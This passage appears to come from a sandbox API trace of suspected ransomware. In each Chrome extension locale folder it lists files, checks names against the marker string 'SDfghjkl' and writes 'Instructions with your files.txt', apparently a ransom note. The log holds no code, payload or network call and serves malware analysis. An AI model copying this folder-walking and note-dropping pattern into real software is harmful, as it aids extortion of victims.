[0130.254] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id") returned 150
[0130.254] GetProcessHeap () returned 0x810000
[0130.254] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.254] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*") returned 152
[0130.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.254] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\.") returned 152
[0130.254] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.254] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\..") returned 153
[0130.254] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.254] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json") returned 164
[0130.254] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.255] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.255] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\Instructions with your files.txt") returned 183
[0130.255] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.255] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.256] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.256] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.256] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.256] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.256] CloseHandle (hObject=0x134) returned 1
[0130.256] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.256] GetProcessHeap () returned 0x810000
[0130.256] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.256] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0130.256] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it") returned 150
[0130.256] GetProcessHeap () returned 0x810000
[0130.256] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.257] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*") returned 152
[0130.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\.") returned 152
[0130.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\..") returned 153
[0130.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json") returned 164
[0130.258] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\Instructions with your files.txt") returned 183
[0130.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.258] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.259] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.259] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.259] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.259] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.260] CloseHandle (hObject=0x134) returned 1
[0130.260] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.260] GetProcessHeap () returned 0x810000
[0130.260] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.260] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1
[0130.260] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw") returned 150
[0130.260] GetProcessHeap () returned 0x810000
[0130.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*") returned 152
[0130.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\.") returned 152
[0130.260] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\..") returned 153
[0130.260] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json") returned 164
[0130.260] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.260] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.260] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\Instructions with your files.txt") returned 183
[0130.260] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.261] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.262] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.262] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.262] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.262] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.262] CloseHandle (hObject=0x134) returned 1
[0130.262] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.262] GetProcessHeap () returned 0x810000
[0130.262] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.262] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0130.262] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja") returned 150
[0130.262] GetProcessHeap () returned 0x810000
[0130.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.262] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*") returned 152
[0130.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\.") returned 152
[0130.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\..") returned 153
[0130.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json") returned 164
[0130.263] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
